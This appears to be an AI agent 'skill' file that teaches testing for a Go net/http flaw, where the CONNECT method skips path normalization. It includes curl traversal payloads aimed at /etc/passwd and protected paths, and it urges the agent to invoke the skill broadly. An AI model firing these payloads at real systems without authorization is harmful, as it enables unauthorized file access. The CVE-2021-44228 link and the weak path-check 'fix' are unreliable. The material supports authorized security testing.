Hacktricks-skills golang-connect-vulnerability

Test for Go HTTP CONNECT method path normalization bypass vulnerabilities. Use this skill when analyzing Go web applications for path traversal issues, when investigating HTTP CONNECT method handling, or when security testing Go-based servers. This skill helps identify cases where the CONNECT method bypasses standard path normalization that other HTTP methods apply. Make sure to use this skill whenever you're testing Go web servers, investigating path traversal vulnerabilities, or analyzing HTTP method handling in Go applications.

install

source · Clone the upstream repo

git clone https://github.com/abelrguezr/hacktricks-skills

manifest: skills/network-services-pentesting/pentesting-web/golang/SKILL.MD

source content

GoLang HTTP CONNECT Method Vulnerability

Overview

Go's

net/http

library automatically normalizes request paths for most HTTP methods, but the

CONNECT

method is an exception. This can lead to path traversal vulnerabilities where protected resources become accessible through non-normalized paths.

How the Vulnerability Works

Normal Path Behavior

For standard HTTP methods (GET, POST, etc.), Go's HTTP server normalizes paths:

Input Path	Normalized To
`/flag/`	`/flag`
`/../flag`	`/flag`
`/flag/.`	`/flag`

CONNECT Method Exception

The

CONNECT

method does not trigger path normalization. This means:

```
/../flag
```
stays as
```
/../flag
```
```
/flag/
```
stays as
```
/flag/
```
```
/flag/.
```
stays as
```
/flag/.
```

This bypass can allow access to resources that would otherwise be protected.

Testing Methodology

Step 1: Identify Go-Based Servers

Look for indicators that a server is running Go:

# Check server headers
curl -I http://target.com | grep -i server

# Look for Go-specific headers or response patterns

Step 2: Test Path Normalization

Test if the server normalizes paths with standard methods:

# Test with GET - should normalize
curl -X GET http://target.com/../flag
curl -X GET http://target.com/flag/

# Test with CONNECT - may bypass normalization
curl --path-as-is -X CONNECT http://target.com/../flag

Step 3: Compare Responses

If the CONNECT method returns different content than GET, the vulnerability may be present:

# Save responses for comparison
curl -X GET http://target.com/../flag -o get_response.txt
curl --path-as-is -X CONNECT http://target.com/../flag -o connect_response.txt

# Compare
diff get_response.txt connect_response.txt

Common Test Patterns

Directory Traversal

# Test parent directory access
curl --path-as-is -X CONNECT http://target.com/../../../etc/passwd
curl --path-as-is -X CONNECT http://target.com/..%2f..%2f..%2fetc%2fpasswd

Trailing Slash Variations

# Test trailing slash bypass
curl --path-as-is -X CONNECT http://target.com/flag/
curl --path-as-is -X CONNECT http://target.com/flag/.

Mixed Path Variations

# Test various path encodings
curl --path-as-is -X CONNECT http://target.com/./../flag
curl --path-as-is -X CONNECT http://target.com/flag/./../secret

Automated Testing Script

Use the included

test-connect-vuln.sh

script for automated testing:

# Basic test
cd scripts
./test-connect-vuln.sh http://target.com

# Test specific paths
./test-connect-vuln.sh http://target.com --paths "/../flag" "/flag/" "/flag/."

# Verbose output
./test-connect-vuln.sh http://target.com --verbose

Mitigation Recommendations

For Developers

Validate paths before processing - Don't rely on Go's automatic normalization
Use a security library - Consider using libraries that handle path validation
Implement custom CONNECT handling - Override default CONNECT behavior if needed
Use reverse proxies - Configure nginx or similar to normalize paths before they reach Go

Example Fix Pattern

// Validate and normalize paths manually
func validatePath(path string) string {
    // Clean the path
    cleanPath := filepath.Clean(path)
    
    // Ensure it doesn't escape intended directory
    if strings.HasPrefix(cleanPath, "..") {
        return "" // Reject
    }
    
    return cleanPath
}

Safety Guidelines

⚠️ Important: Only test systems you have explicit authorization to test.

Get written permission before testing
Use this skill for educational purposes and authorized security assessments
Document findings responsibly
Report vulnerabilities through proper channels

References

Related Vulnerabilities

This vulnerability is related to:

Path traversal attacks (CVE-2021-44228 style)
HTTP method bypass vulnerabilities
Web server misconfiguration issues

Quick Reference

Test	Command
Basic CONNECT test	`curl --path-as-is -X CONNECT http://target/../flag`
Compare with GET	`curl -X GET http://target/../flag` vs `curl --path-as-is -X CONNECT http://target/../flag`
Automated scan	`./test-connect-vuln.sh http://target`
Verbose output	`./test-connect-vuln.sh http://target --verbose`